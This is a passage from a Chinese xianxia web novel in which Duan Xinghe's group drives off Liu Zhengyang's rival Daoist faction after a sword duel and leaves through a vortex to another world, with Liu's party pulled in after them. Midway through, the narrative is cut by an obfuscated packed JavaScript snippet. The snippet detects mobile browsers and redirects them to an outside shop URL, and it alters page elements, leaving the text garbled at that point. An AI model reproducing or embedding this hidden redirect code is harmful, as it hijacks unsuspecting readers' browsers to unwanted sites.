赵大海和伏顺在外头四目相对,怀疑自己听错了,都是一脸震惊的表情。事情发展的过于离谱,以至于他们朴实的脑子都跟不上了。 54.青岩山 六 屋里的灯火微微跳动。于九故作惊讶地看着刘正阳,也看不出来他到底是真心这么以为,还是试探他。 刘正阳脸涨得通红,道:“我看上他干什么。老子家里有的是钱,勾勾手指头哪个女人不自己送上门来,至于惦记个硬邦邦的男人么!” 于九喔了一声,面无表情道:“不是就好。人家是步家寨子的祭司,爷爷是族长,说不定比你爹还有钱呢。你要是跟他凑在一起,谁玩谁还真不好说。” 刘正阳要被他气死了,道:“你再胡说我告诉我爹去了啊。” 于九道:“啊好好好,说正经的。你这次来到底想干什么?” 刘正阳平复了一下情绪,低声道:“爹让我来看看这边建的怎么样了。上次他们在后山失踪了,乔月柔还怀疑是我干的,差点让我坐牢。这会儿他们回来了,我不得来瞧瞧么?” 当时乔月柔的女儿丢了,当天就报了官,说还有四个徒弟也不见了。唯一目睹当时情况的就是刘正阳,官府叫他去录了口供。刘正阳也搞不清楚当时发生了什么,被反复查问了好几次,一直窝着火。他寻思着这帮扫把星就是来克自己的,不管他们活着还是死了,自己都要倒他们的霉。 于九双手抱着臂,靠在墙边上道:“那你已经看完了,还有什么要办的么?” 刘正阳道:“你干嘛老急着走?” “不是我,”于九无辜道,“是你的那些师弟,他们嫌饭不好吃、还嫌床太硬。” 刘正阳的晚饭是于九骑马下山买的,一只烧鸡、两只酱蹄髈,用荷叶包了好几层,拿回来的时候还冒着热气。他吃的满嘴流油,自然不能体会别人吃白菜豆腐的烦恼。 刘正阳道:“让他们忍忍吧,吃豆腐又饿不死。” 于九道:“那从明天起,我也不下山给你买肉了,你跟他们一起吃白菜豆腐成不成?” 刘正阳犹豫了一下,讨价还价道:“三天下山一次。” 于九叹了口气,道:“那你还打算在这里待几个三天啊?” 刘正阳没回答他的问题,却神神秘秘地道:“他们消失了这么久,忽然就挣了这么多钱回来,你难道不想知道这些钱是怎么来的么?” 这话倒是说到于九心里去了,他平生跟钱的感情最深,若是段星河他们有什么挣钱的好法子,自己当然也想分一杯羹。 于九道:“那你想怎么样?” 刘正阳道:“看看他们去哪儿挣的钱,咱们也大赚一笔,不能让这些乡巴佬骑到咱们头上来。” 于九摸了摸下巴,道:“人家有会下金蛋的鸡,会拿出来给你看吗?” 刘正阳想了一下,明白了他的意思,道:“你是说,咱们在这里,他们反而藏着掖着的?” 于九点了点头,道:“咱们不在跟前了,他们才会行动起来。” 刘正阳寻思了一下,道:“那也得先气气他们再说,好不容易来一趟,小爷没那么容易放过他们。” 说来说去,他还是要惹事。于九提醒道:“他们好几个都到金丹期了,真打起来你不是对手。” 刘正阳有恃无恐道:“你不是也到金丹期了么,还能怕了他们?” 于九扬起嘴角一笑,道:“你还真信任你小师叔,觉得我能一打五呢。” 刘正阳失望道:“啊,我以为你能呢。” 于九没再说什么,走到门前,一把推开了屋门。外头的夜色宁静,他看了一会儿月亮,长叹了一口气,仿佛觉得带不动这阿斗似的,喃喃道:“生儿如此,不如不生。” 伏顺和赵大海眼捷手快,抢在他开门之前,躲到了旁边的大水缸后面。于九出了门,去隔壁睡觉了。伏顺和赵大海蹑手蹑脚地回了自己的住处,松了口气。 伏顺坐在床上,道:“有什么有用的消息没有?” 赵大海脑子里嗡嗡的,感觉好像听了不少内容,但是乱七八糟的理不明白。伏顺也不指望他了,寻思了片刻,道:“于九修炼到金丹期了,他不想跟咱们冲突。刘正阳惦记咱们的钱,好像还暗恋二师兄,对他由爱生恨,所以老跟他过不去。” 赵大海不想挨揍,道:“最后那条就别说了吧,姓刘的不是也没承认么。” 伏顺想了想,觉得二师兄已经够烦的了,还是别给他添堵比较好。他道:“那就光说钱的事好了,明天见了大师兄,我让他多加提防。” 次日伏顺去找段星河,跟他说了昨天晚上听到的事。段星河的目光微动,心中有了提防,道:“我知道了,你去吧。” 日子平静地过了几天,这一日中午,段星河练完了剑,从演武场过来。于九正好从外头回来,手里提着几大包熟食,看来是又下山给那个祖宗买吃的去了。 一名天心观的弟子从旁边经过,于九道:“少主呢?” 那人道:“他不在屋里,好像出去逛了。” 于九喔了一声,转过头来。段星河同情地看着他,道:“于兄,出去了?” 于九提起油纸包道:“买点烧鸡、酱猪蹄,少主爱吃八香斋卤的东西。你吃饭了么?” 段星河正准备去厨房领饭,道:“这就去。” 于九道:“跟我来吧,我请客,今天买了不少呢。” 段星河道:“那多不好意思。” 于九一把搂住了他肩膀,道:“客气什么,我这儿还有酒,咱们喝一杯。” 他这么热情,段星河也不好拒绝,被他拉到了屋里。两人相对坐着,于九去洗了手,拆开油纸包,又打开一层荷叶,露出了一只香喷喷的烧鸡,又倒了一碟花生米。另外两个纸包没拆,是留给刘大少的。 他从柜子里拿出一坛酒来,给段星河满上了,道:“来,走一个。” 两人碰了个杯,段星河喝了一口,感觉有些辛辣。于九喝了半碗,长长地叹出一口气,道:“痛快!” 这人的性情洒脱,又很豪爽,若不是他为天心观效力,段星河还真想跟他交个朋友。 于九撕了一根鸡腿,道:“吃吧,别客气。” 段星河夹了一筷子花生米,慢慢地吃了。于九吃着肉,道:“段兄是从小就有向道之心么?” 段星河摇了摇头,道:“小时候家乡闹饥荒,我流落到这里,是被师娘带回来的。于兄呢?” 于九道:“喔,我也是没得选,随波逐流地就被推到这条道上来了。” 段星河没说话,于九喝了口酒,漫不经心道:“我爹是个烂赌鬼,不好好做工,整天想着一夜暴富,把我娘气跑了。后来有人上门来讨债,我爹急了眼,和二叔把人捅死了,连夜带着我和两个弟弟跑了。” 段星河十分惊讶,道:“然后呢?” 于九淡淡道:“然后他就落草为寇了,在山上当了十来年的山大王。山上有不少人,都是跟他一样的逃犯,谁也不嫌弃谁。山寨里有个老道士会画符,还会法术,我爹就让我认他当师父。我从小是先拜的关公,后来才拜的三清。他们都说我一身土匪习气,不像个修道的,你觉得呢?” 他确实一身江湖义气,又好像经历过许多事似的,活得十分通透,原来是因为这样的出身。 段星河平静道:“过去的事不能选择,每个人都有自己的活法,我其实很欣赏你现在的样子。” 于九道:“我也很欣赏你,一直想跟你一起吃个饭,就是怕你不肯赏光。” 段星河道:“那你早该来请我了。” 两人对视了一眼,都露出了笑容,颇有些惺惺相惜的意思。段星河道:“看来尊师修为深厚的很,后来怎么样了?” 于九回忆起从前,仿佛还看得到那场冲天的大火。他道:“我十九岁那年,官府来剿匪,一窝都给端了,寨子也被烧了。我爹被人乱刀砍死了,师父肺上中了一箭,我拼命背着他跑出来了。师父临死的时候,让我好生修道,挣点干净钱好好过日子,别跟我爹一样,活的稀里糊涂的,有今天没明天。” 他仰头喝了一大口酒,显得有些伤感。他这么爱钱,大约也只是给自己一个活着的目标罢了。段星河没想到会听到这些,道:“抱歉,让你想起这些。” “没事,”于九道,“你说得对,过去的事不能选择,把以后的日子过好就行了。” 段星河撕了一块鸡肉,确实做的挺香的。这段时间为了陪着刘正阳,整个道观都十多天没吃肉了。于九道:“好吃么?” 段星河道:“不错。” 于九盯着他眼睛道:“那咱们这儿怎么不做肉吃?” 他这么直接问,也太不把自己当外人了,段星河一时间无言以对,总不能说自己就是故意要逐客的。于九哈哈地笑了,道:“说着玩的,我可没有挑剔的意思啊,青菜豆腐也挺好的。” 酒过三巡,两人的关系亲近了一点。于九掰了一根鸡翅,啃着道:“段兄,之前你们失踪了,大家都很担心。你们到底去什么地方了?” 于九的心机颇深,纵使处得来,也暗藏着他自己的算计。段星河表面上跟他和气,内里没忘记自己的立场。他淡淡道:“我们出去历练了一圈,也没离开多远。路上遇见有跑商的,我们保护他们走了一段路,挣了点保镖钱就回来了。” 于九道:“就这?” 段星河坦然地看着他,道:“就这。” 他的眼睛黝黑深邃,静静地看着人的时候好像十分坦诚,其实神光深藏着,就像一潭深水,让人根本看不透他在想什么。 于九点了点头,道:“喝酒。” 他没刺探到段星河他们的秘密,但想来对方也不会轻易说出来。两人吃着东西,忽然见一个天心观的弟子跑了过来,慌张道:“小师叔,不好了……咦,你怎么也在?” 段星河面无表情地看着那人,这是自己家的地盘,他爱在哪儿待就在哪儿待。对方有些顾虑,一时间没说话。于九道:“怎么了,有话就说。” 那人道:“大师兄跟人在后山祭坛那边吵起来了,快过去看看吧。” 段星河的心微微一沉,这才消停了几天,刘正阳又开始找事了。他站了起来,于九也叹了口气,起身道:“过去看看。” 祭坛前面的空地上,天心观的人和逍遥观的人相对而立。段星河赶到的时候,伏顺已经撸起袖子,准备跟对面干架了。 李玉真还在中间当和事佬,道:“哎哎哎,有话好好说,都是兄弟别动手。” 一人道:“你又不是这里的人,有你什么事,起来!” 他一把将李玉真扒拉开,动作十分粗鲁。宋胡缨皱起了眉头,道:“你干什么!” 小对眼也从她的兜帽里跳了出来,弓着背对那人哈了一口气。 那个动手的正是前几天造谣污蔑人的吴天。刘正阳站在一旁,双手抱着臂,就像放出了一条恶狗。小师叔不帮他出头,有的是人要讨好他,上赶着帮他咬人。 吴天盯着宋胡缨道:“我就说你们六根不净,还在道观里偷偷养女人,这小姑娘是你们从哪儿骗来的?” 宋胡缨的脸色阴沉下来,段星河心里咯噔一下,暗道:“他惹谁不好,来惹这暴脾气姑奶奶。” 于九还没意识到将要发生什么,往前迈了一步,就见宋胡缨陡然抡起了斩马/刀,在空中打了个旋。众人吓了一跳,轰然向后退去。斩马/刀带着烈焰呼啸而来,擦着吴天的头皮划过去,哐地一声顿在地上,冲击力把地面砸了个大坑。 吴天的腿一软,一屁股坐在了地上,脸色惨白如纸。宋胡缨冷冷道:“你刚才说什么?” 吴天浑身不住发抖,没想到这小姑娘看起来娇小柔弱,居然跟母夜叉似的有这么大力气。众人觉得捅了大娄子,你看看我、我看看你,都生出了退缩之意。刘正阳怒道:“怕什么,他们本来就不占理,还能仗势压人不成?” 他一向爱惹是生非,此时却还好意思装出一副弱者的姿态叫嚣。 段星河快步走过去,道:“怎么了?” 吴天爬了起来,大声道:“你们的人打我们兄弟,还辱骂我们。你来的正好,给个交代吧!” 一名逍遥观的弟子道:“他放屁,明明是他们先亵渎祭坛,要在这边撒尿。巡山的师兄弟过来制止,他们就动手打人了。” 要真是这样,对方也太过分了。段星河回头看李玉真,道:“是这样么?” 李玉真一向不打诳语,伸手一指道:“就是那小子,他裤子还没提好呢。” 吴天身边一人衣裳穿的乱七八糟的,想来是撒尿的时候被人逮住了,此时还有些慌张。段星河看向刘正阳道:“刘兄,亵渎祭坛是大罪,你说怎么办?” 刘正阳丝毫不觉得理亏,反而理直气壮道:“你这里破破烂烂的,谁知道有这么多讲究。人有三急,连这都不准,难道不是你们毛病太多了?” 段星河冷冷道:“逍遥观和天心观同出一脉,祭坛供奉的是咱们共同的神。你怎么能纵容同门这么干?” 刘正阳哈哈大笑起来,冷冷道:“说得好,你也知道咱们同出一脉,凭什么你们就窃据正统?这地方往少里说有我们一半,往大里说,有本事者居之。我看你们也不怎么靠谱,实在不行,就把这地儿让出来得了,我们来帮你发扬光大!” 他此言一出,现场顿时哗然。天心观的人都跟着他起哄,纷纷喊道:“让出来、让出来!” 段星河皱起了眉头,难怪刘正阳好几天没动静,原来是憋了坨大的。 逍遥观的人都生气了,觉得这人也忒不要脸。先前他嫌这里穷,每走一步都怕脏了他的脚,也不愿意认这一帮穷亲戚。如今段星河他们挣了钱回来,把道观修的干净整齐,打响了名声,他们又腆着脸想来捡现成的。 伏顺虽然知道他们是故意找事,仍然忍不住骂道:“人家搭好了窝你来下蛋了,脸呢!” 赵大海拉着他肩膀,低声道:“冷静,兄弟,别上他们的当。” 对面的人还在火上浇油,嚷嚷道:“你算什么东西,你主子还没说话呢,有你叫的份儿吗?” 步云邪带着小笙赶了过来,见他们吵的这么凶,在一旁听了片刻,大约知道是怎么回事了。他皱起了眉头,觉得刘正阳这小子没完没了的,真是够烦人的。 段星河看见了他,到处都闹哄哄的,步云邪的声音他也听不清,看意思是想过来帮忙。段星河摇了摇头,示意自己能对付得了。他看向对面道:“刘兄这话是什么意思?” “这还不明白?”刘正阳不耐烦道,“你跟我们的人比一场,谁赢了,谁就是祖师爷的嫡系传人,输了的卷行李滚蛋,懂了么?” 这么大的事,他说出来就像儿戏一样。段星河冷冷道:“此事事关重大,家师云游在外,我做不了这个主,你也做不了这个主。” 刘正阳没想到他不上套,却又不甘心就这样算了。他激将道:“你怕了?” 段星河挽起了袖子,漠然道:“刘兄要是想打架,也不必找这么多借口。切磋比试,不带赌注,来吧——” 上回他就是因为跟他们打架,才烙下了邪神的诅咒。段星河心里一直窝着火,想狠狠揍这小子一顿。刘正阳往旁边闪开了,道:“哎,谁说我跟你打了,你先赢了我小师叔再说。” 于九站在一旁,从刚才来了就没说话。他虽然私底下劝刘正阳别惹事,当着这么多人,还是得给他撑腰。他跟段星河对视了一眼,没想到刚才还在一张桌子上吃饭,现在又要刀兵相向了。 于九往前走了一步,显得有点无奈,道:“段兄,大侄子帮我下了战书。没办法,请多指教吧。” 两个人都是金丹期的,也算实力相当。段星河拔出了幽冥剑,道:“那我就不客气了。” 他将灵力凝结在剑上,纵身一掠,朝于九攻了过去。他不动手则已,一动手便迅捷如脱兔。众人就见那两人在空中身影交错,瞬息之间过了几招。段星河的灵力幽紫,于九的剑光则是像月光一样的白色。两人的兵刃声铿锵不绝,溅出了火花。 于九落在地上,神色有些惊讶,赞道:“几日不见,段兄的剑法竟然有这么大的进步!” 段星河手中长剑轻轻一挥,星星点点的灵光飘落下来,道:“还好,于兄的本事也比以前更强了。” 于九的眼神认真起来,道:“那咱们就看看谁更胜一筹!” 他一跃上前,长剑横里划了个半弧。段星河闪身躲开了,回手一剑重重斩落下来。 于九招架住了那一剑,整个人被冲击力逼得向后退了数步。这年轻人身上好像总是有一股强大的力量,远远地超出了他目前的境界。于九皱眉道:“逍遥观可没有这么强的功法,你用的是什么?” 段星河冷冷道:“师父教的四正罡气。” 于九笑了一下,道:“不像是正气——” 他从段星河旁边擦肩而过,道:“倒像是戾气、邪气、煞气,你招惹上什么脏东西了?” 段星河被他说中了心事,脸色微微一沉。于九就是要扰得他心神大乱,趁机回剑向他攻来。段星河被他惹的十分烦躁,那么多人都在看着他们,他只能极力控制着体内的煞气,不想被人发现自己的异样。 咕咚,咕咚——他能听见自己的心跳,呼吸声也被放大了数倍,视线不时扭曲起来。 那种熟悉的感觉又来了,他体内沉睡的诅咒被刀兵声唤醒了。它像一头巨兽,兴致勃勃地看着这场争斗,发出低沉的咆哮声。段星河感到胸口有些发烫,疼痛的感觉一波又一波地扩散到全身。他咬紧了牙关,额头上滴下了汗水。 步云邪意识到他的状态不妙,往前走了一步,有些担忧。于九见他目光一时清明,一时又有些晦暗,不知道是怎么回事。 段星河不想再拖下去了,爆发出体内的力量,接连数剑朝他斩了过去。于九忽然见他的力量陡然暴涨,被一剑震得虎口发麻,还没来得及反应,又是一剑重重地砍了过来。 于九只能勉力横剑接住,被段星河的兵刃一寸寸压了下去。围观众人发出一阵惊呼,逍遥观的人十分激动,喊道:“大师兄威武,太棒啦!” 刘正阳急道:“小师叔,别输给他啊!” 于九额头上渗出了汗水,喃喃道:“这力气也太大了吧,邪门。” 他用力一撩长剑,段星河往后退了半步,嘴角却扬起一丝笑容,带着一股上位者玩弄猎物的从容和残忍。于九一瞬间以为自己看错了,段星河的头发垂下来,挡着眼睛,整个人好像跟平时很不一样。 于九道:“喂,说好了点到为止,你不至于吧?” 段星河哑声道:“那你认输啊。” 于九也颇有些傲气,喘着气道:“我又没输。” 段星河冷冷一笑,道:“那就再接我一剑!” 他说话声中,长剑带着万钧的力量,狠狠地斩了过来。于九感到了强烈的气势,不敢正面相迎,闪身避过了那一剑,身体仍然被剑气冲击得向后退去。他把长剑插进土里,想要刹住去势,剑尖却向后划了一丈长的沟壑,才停了下来。 其他人早已被那情形吓住了,轰然向后躲出了一个大圈。有人担心道:“小师叔,没事吧。” 于九十分震惊,还沉浸在刚才的冲击力中,没想到对方会有这么强的力量。 段星河的神色淡淡的,道:“于兄,承让了。” 于九的胳膊都被震得生疼,良久叹了口气道:“好说。” 若说上次比试于九对他还有容让的余地,这次则是彻彻底底的被他打败了。于九觉得有点没面子,却又很佩服他。刘正阳还不服气,上前道:“小师叔,你又没受伤,怎么不继续打了?” 他不在乎于九的死活,于九不能为他连命都不要了。他把剑插回鞘里,道:“已经分出胜负了,为什么还要打?” 刘正阳道:“哪里分出来了,明明就是平手!” 于九笑了,拍了拍刘正阳的肩膀,道:“行走江湖难免打打杀杀的,输得起才不会太难看。你是个大孩子了,要不你上去过两招吧。” 他这么一说,刘正阳顿时怂了。伏顺哈哈大笑道:“刚才你怎么说的,输了就滚蛋,别在这儿讨人厌了,滚吧!” 逍遥观的一帮小孩儿又跳又叫,起哄道:“喔,滚蛋、滚蛋、滚蛋!” 刘正阳脸涨得通红,恶狠狠地道:“得意什么,以后有你们哭的时候。” 他一摆手,吼了一声走,天心观的人便跟着他灰头土脸地离开了。步云邪怕段星河身上的煞气又犯了,过去低声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741458|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你没事吧?” 段星河喘着气,被汗水打湿的头发贴在脸上。他已经到金丹期了,对体内能量的控制比以前要强一些了,不会轻易就被那股力量压制住。他甚至觉得,随着自己渐渐变强,说不定可以把那股力量化为己用。 这个念头在他脑中一闪即逝,他忽然惊觉自己被恶魔诱惑了,居然想要偏离自己的初衷。原本他只想好好的修炼属于自己的力量,而不是这样玩火。 燕丘的萨满说过,步云邪身为祭司,体内的血至纯至正,能够压制他身上的煞气。步云邪不确定他现在是不是还清醒,拔出了匕首。段星河一把按住了他的手,道:“我没事。” 步云邪松了口气,道:“你刚才不说话,我还以为你又……” 刘正阳他们已经走远了,段星河有些疲惫,把剑还回鞘里。李玉真揣着袖子道:“他们要走了么?” 伏顺道:“肯定的啊,被打得落花流水的,他们怎么还好意思赖在人家家里不走啊。” 小泥鳅道:“我去看着他们。” 小石头道:“我也去。” 他们都是小孩儿,在附近玩泥巴踢毽子的,也不至于让人多心。段星河想有人看着也好,道:“行,咱们回去吧。” 夜幕深沉,逍遥观渐渐静下来了。刘正阳坐在屋里,脸色十分难看。于九的虎口被震裂了,拿绷带缠了几圈,淡淡道:“东西都收拾好了,明天就走吧。” 刘正阳当着那么多人被驳了面子,也不想在这里待着了。他一回来就收拾好了行李,眼看着天黑了,只能暂时忍气吞声,住一宿再离开。 外头蹲着好几个小孩儿,过家家捉蛐蛐的,分明就是段星河派来的眼线。小孩儿凑在一起一会儿嘻嘻哈哈的,一会儿窃窃私语,好像在说这些人怎么还不走。 刘正阳心里恼火,连晚饭都没去拿。幸亏于九白天下山去买了点酱猪蹄和烧鸡,此时他打开油纸包,放在桌上道:“吃点东西,别饿坏了。” 刘正阳看了他一眼,好像十分不满。于九道:“怎么了?” 刘正阳道:“听人说白天你跟姓段的那小子一起吃饭了?” 于九坦然道:“是啊,怎么了?” 刘正阳道:“所以你才故意输给他了?” 于九叹了口气道:“你可真看得起我。打不过就是打不过,当时那情形不是我放水,是他手下留情。你难道看不出来?” 刘正阳虽然修为不行,但也不是个傻子,还是能看出双方实力的差距。他悻悻道:“那你没事跟他来往什么,想脚踩两条船啊?” 于九道:“你不是说他那一大笔钱来路不正么,我想套他几句话,看他是怎么搞到钱的。” 刘正阳顿时凑近了身子,道:“他说了么?” 于九掰了根鸡腿,咬下一块肉道:“没说,小子嘴还挺紧的。” 他想着白天段星河那股强大的力量,已经远超过金丹期了,也不知道他到底有什么机缘。这小子看起来平平无奇,却仿佛被命运眷顾着似的,总能得到别人可望而不可及的东西,简直让人嫉妒。 刘正阳也在想着这件事,道:“他的那股力量挺邪门的,你说会不会跟那笔钱一样,也来路不正?” 于九没说话,但确实对他的力量产生了强烈的兴趣,与之相比,连钱都没有那么重要了。 他低下了声音,道:“明天让其他人先走,趁他们放松警惕,咱们就杀个回马枪。好好盯着他们,看看到底是怎么回事。” 刘正阳有些兴奋,道:“好,就这么办吧。” 次日一早,刘正阳带着众人离开了青岩山,逍遥观终于恢复了平静。段星河在家里住了几天,把东西收拾好了,打算再次去天外天了。 道观现在有名气了,香火很旺盛,每个月都能有四五十两银子的进账,师娘带着这些孩子生活应该不成问题。段星河拿出了剩下的五百两银子去找乔月柔。她正在屋里看书,见段星河来了,道:“外头冷么?” 他们回来的时候还是夏末,此时已经是初冬了。庭院里的树叶开始凋落,石头上积着一层薄薄的白霜。段星河穿着一身蓝色的薄袄,目光深邃而有神,道:“不冷,师弟妹们在外头玩呢。” 他把银子放在桌上,恭敬道:“师娘,这是我们在外头挣的钱,一共五百两,您留着花。” 乔月柔道:“都给我做什么,你自己拿着使。” 段星河道:“我们有路费,去了外边还能再挣。” 乔月柔有些诧异,道:“你要走了?” 段星河道:“这边的事都处理好了,我得再去那边一趟,把小师妹找回来。” 乔月柔的神色有些黯然,另一个世界有太多不确定的东西,若是让他们再去了,很有可能就难再见到面了。可她的女儿流落在那边,她也不能不管。段星河明白师娘的心情,安慰道:“没事的,我们现在都到金丹期了,能保护好自己。你放心,我们一定把小雨找回来。” 乔月柔注视着段星河,不知不觉间,这孩子已经比自己还高许多了,变得踏实、优秀、十分可靠,有这么个好徒弟,实在是自己的福气。她道:“你们也都是我的孩子,安全最重要。如果实在找不到,你们平安回来,师娘也很高兴。” 这一别不知道还能不能再见,段星河也有些伤感。他躬身行礼道:“弟子知道了,师娘多保重。” 乔月柔给他整了整衣裳,把头发捋到一旁,温柔道:“去吧,师娘在这里守着家,等着你们回来。” 隔天清晨,段星河和伏顺、赵大海等人出了逍遥观。步云邪也跟家里人辞了行,说要再出去历练一阵子。众人在寨子门口碰了头,一起往后山的虺神洞走去。 天心观的大队人马都走了,只剩下于九、刘正阳和吴天在后山待着。上次段星河他们就是在后山消失的,他们便躲在这里,打算来个守株待兔,看看他们到底要去什么地方。 吴天在最前头,鬼鬼祟祟地跟着那些人,刘正阳紧随其后,于九怀里抱着剑,走在最后面。三人躲在灌木丛后头,悄悄地望着前头的那一行人,生怕跟丢了。 段星河回头望了一眼郁郁葱葱的青岩山,不知道下次回来是什么时候。其他人也有些留恋,这段时间在这里过得十分安宁,有种世外桃源的感觉。李玉真轻轻道:“要走了,希望还有机会来玩。” 宋胡缨把小对眼揣在怀里,用襻膊在胸前打了个斜十字,低头对她儿子道:“别掉出来喽。” 步云邪直接背了个麻布口袋,把墨墨装在里头,鼓鼓囊囊的。伏顺隔着布袋拍了拍,道:“这瓜保熟么?” 里头动了一下,墨墨隔着布袋咕叽叫了一声。 伏顺笑着缩了手,道:“小胖子,长这么大个了还要你爹背着,羞不羞。” 步云邪把麻袋往上一颠,道:“又不沉。” 初冬的风迎面而来,带着冰凉的寒意。段星河道:“走吧,继续咱们的旅程。” 他迈步走进了虺神洞,深处的那个气旋又一次出现了。段星河背紧了行李,纵身往里一跳,消失在了黑色的气旋中。步云邪随即也跳了下去。伏顺像夏天扎塘子似的,一头扎了进去。赵大海像块石头似的,闭着眼发出了一声壮烈的大叫:“啊啊啊啊啊——” 他的声音在气旋中回荡着,渐渐消失了。山洞里只剩下两个人,李玉真道:“那个……要拉着手吗?” 宋胡缨道:“你害怕?” 李玉真犹豫了一下,道:“有点。” 宋胡缨便把他的手握住了,道:“走吧。” 她的手很瘦,上面有些薄茧,却透出暖暖的温度。李玉真还是头一次跟她握手,心砰砰直跳,迷迷糊糊地来到气旋跟前,和她一起跳了进去。周围到处都是呼呼的风声,他们被气流吹得分开了,李玉真伸出手喊道:“宋姑娘——等等我——” 周围的风声太大,他的声音很快就被吞没了,人也不住向下坠去。 刘正阳等人见他们进了山洞,就没再出来。三个人面面相觑,于九道:“还有别的出口吗?” 刘正阳道:“过去看看。” 三个人猫着腰来到山洞前,侧耳倾听了一阵子,没听见有人的走动说话声。他们走了进去,山洞里黑黢黢的,空气潮湿冰冷,上方长着些钟乳石,不住有水滴滴答答地落下来。 吴天走在最前面,忽然听见一阵风声呼呼作响,抬头就见有个硕大的黑色气旋,在半空中不住流转。 他胆子也是够大的,不知道是什么东西就伸手摸了一下,整个人忽然就像被龙卷风卷起来一样,一头栽了进去。 “啊啊啊啊啊——” 吴天惨叫着消失在那两人面前,连根头发丝都没剩下。刘正阳吓得脸色惨白,道:“怎么回事?” 于九凝神感受了片刻,道:“这好像是个隧道,连接不同地方的,我听我师父说过。” 刘正阳道:“什么意思?” 于九摸了摸下巴,沉吟道:“不同的世界之间有沟通的隧道,咱们所在的地方只是三千大千世界之一。不同的世界有不同的生灵和规则,我想……段星河他们应该就是通过这个隧道,去了一个力量和规则更荒蛮的世界,狠狠捞了一票。” 刘正阳的求生欲战胜了一切,不管是真的还是假的,反正他不想拿性命冒险。他道:“那我不去了。” 于九道:“吴天怎么办?” 刘正阳无情道:“一个废物而已,我管他死活呢!” 他转身就要开溜,那个气旋的能量消耗到了尽头,骤然扩大到极致。于九和刘正阳忽然感觉身体一轻,猝不及防地被卷进了那个黑洞。刘正阳顿时慌了,惨叫道:“救命啊啊啊啊——放开我,我后悔了不去了——” 气旋不跟人讲道理,反悔也好,自愿的也罢,既然来了就一个也跑不了。 于九没有办法,只能用一道灵力护着自己的身体,尽量把伤害降到最低。 两人只听身边风声呼呼作响,就像两片飘零的树叶,不住向下坠去。 不知过了多久,前方渐渐出现了一道光。于九皱起了眉头,有些期待,又有些畏惧,不知道等待着自己的将会是怎样的一个世界。 【第一部完】 55.鬼面 一 “啊啊啊啊——” 狂风渐渐消失了,刘正阳从半空中摔了下来,惨叫着一头栽到了一片树丛上。 鸟雀叽叽喳喳地叫着,飞向了天空。他接连翻了几个滚,从树上掉了下来,头先着地,摔的满脸是血。在他不远处,吴天四仰八叉地躺在地上,浑身上下到处都疼,半天动弹不得。 刘正阳动了动胳膊,又动了动腿,总算没摔出大毛病来。他抹了一把鼻血,费劲地坐起来,看着旁边道:“兄弟,你没事吧?” 吴天还以为自己要死了,浑身都在发抖,道:“大师兄,你也来了……那是什么鬼东西,我就摸了它一下,怎么就……” 天空中的黑洞嗖地一闪,渐渐消失了。于九从半空中坠了下来,扑通一声落在了树丛上。他伸手一勾,抓到了一根粗壮的树枝,像猿猴一样荡了几下,落在了地上。 他虽然掉下来的时候有些狼狈,落地还算优雅。跟他比起来,另外两个人就有些糟糕了。于九扶着一棵大树缓了一阵子,低头道:“你俩没事吧?” 刘正阳心有余悸道:“没死,吓死老子了。” 于九环顾四周,见他们身在一片小树林边,远处有一座高大的城池掩映在薄雾中,后方有个疏疏落落的小村子,旁边是一块块整齐的农田。他们来的时候是初冬,此地大约也是十月初,天气微微有些寒意。乍看上去,这里的一切跟原来的世界没什么不同,没有三头六臂的怪物,好像没有他们想象的那么危险。 不远处,有放牛的小孩儿看着这里,也有农夫挑着扁担经过。几个路人对他们指指点点的,戒备道:“我没看花眼吧,那几个人是从天上掉下来的?” 另一人道:“我也看见了,该不会是妖怪吧,要报官吗?” 又一人道:“妖魔鬼怪归官府管吗,要不要找个道士来看看?” 此地不宜久留,于九怕被他们盯上了,伸手把刘正阳拉了起来,道:“赶紧走,那些人看见咱们了。” 刘正阳拍去了身上的土,悻悻道:“有什么好看的,没见过神仙下凡啊。” 吴天也爬了起来,一瘸一拐地跟上了他们,道:“咱们去哪儿啊?” 于九看着远处的城池,觉得繁华的地方容易打听消息,道:“先去城里看看吧。” 一行人混在百姓当中进了城,行人的打扮跟他们相似,都是汉人的模样。大街上宽阔整齐,两旁都是店铺。有绸缎庄、茶楼、首饰铺子,包子铺的老板揭开蒸笼,热腾腾的白气冒了出来。 刘正阳的肚子咕地一声叫了起来,道:“小师叔,我饿了。” 折腾了这么久,另外两个人也饿了。三个人便在路边的摊子上坐下,要了三碗小米粥和几屉小笼包。周围坐了不少人,都是贩夫走卒,也有城里的百姓出来吃饭的。 吴天跟刘正阳一顿风卷残云,闷头光顾着吃。于九喝了一碗粥的功夫,不动声色地听着周围的人聊天,摸清楚了一些基本的信息。这地方叫大幽,这座城是大幽的都城,皇帝今年六十多岁了,养了不少道士,致力于修长生不老之术。 于九来到现在,还没见到段星河等人,可能他们被扔在了别的地方。自己这些人既然来了,就得想办法摸清这里的规则,先活下去再说。至于怎么获得力量,捞一笔大钱,那都是以后的事了。 刘正阳吃完了自己的,见于九坐着不知道在想什么,面前的包子没少几个。他道:“小师叔,你不吃我帮你吃啦?” 吴天也把手伸了过来,道:“我也没吃饱呢。” 啪地一声,于九拿筷子把他俩的手打开了,道:“自己没有啊,吃我的干什么?” 刘正阳道:“我看你不吃嘛……” 于九一门心思想着怎么生存,这两个人却就知道吃。这么大人了,光长个子不长脑子。于九感觉跟带着两个巨婴出来似的,叹了口气道:“没饱就再要一笼呗。” “不用了吧,”刘正阳道,“咱们初来乍到的,钱得省着花。” 于九点了点头,说他傻这小子也傻的不彻底,抠门的时候还是挺精的。 吃完了饭,于九往外掏钱。他拿了几个铜板,手一顿,又改成了拿银子。吴天已经把铜板掏了出来,扔在桌上道:“老板,结账。” 老板过来拿起了钱,忽然道:“哎不对啊,你这是什么钱,我没见过呢。” 吴天愣愣地道:“你开包子铺的没见过钱,什么意思?” 老板看着上头的铸字,在手里捻了捻,意味深长道:“你们不是本地人吧,哎呦……那可不妙的很喽。” 